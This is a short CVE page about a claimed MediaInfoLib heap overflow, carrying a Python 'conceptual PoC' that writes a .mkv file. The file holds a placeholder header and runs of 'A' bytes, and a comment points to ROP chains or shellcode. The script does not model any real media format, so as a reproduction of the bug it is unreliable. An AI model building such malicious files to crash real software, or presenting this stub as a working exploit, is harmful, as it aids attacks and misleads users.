CVE-2026-22554 MediaInfoLib堆溢出漏洞

import struct # This is a conceptual PoC for CVE-2026-22554 # It generates a malformed media file structure to trigger the heap overflow def create_malicious_file(filename): # File header simulation header = b"MALFORMED_MEDIA_HEADER" # Constructing the payload to trigger channel splitting overflow # Padding to reach the vulnerable buffer padding = b"A" * 100 # Overflow payload (hypothetical size based on buffer limit) # In a real exploit, this would contain ROP chains or shellcode overflow_payload = b"\x41" * 500 with open(filename, "wb") as f: f.write(header + padding + overflow_payload) print(f"[+] Malicious file '{filename}' created.") if __name__ == "__main__": # Usage: Pass this file to an application using MediaInfoLib create_malicious_file("cve_2026_22554_poc.mkv")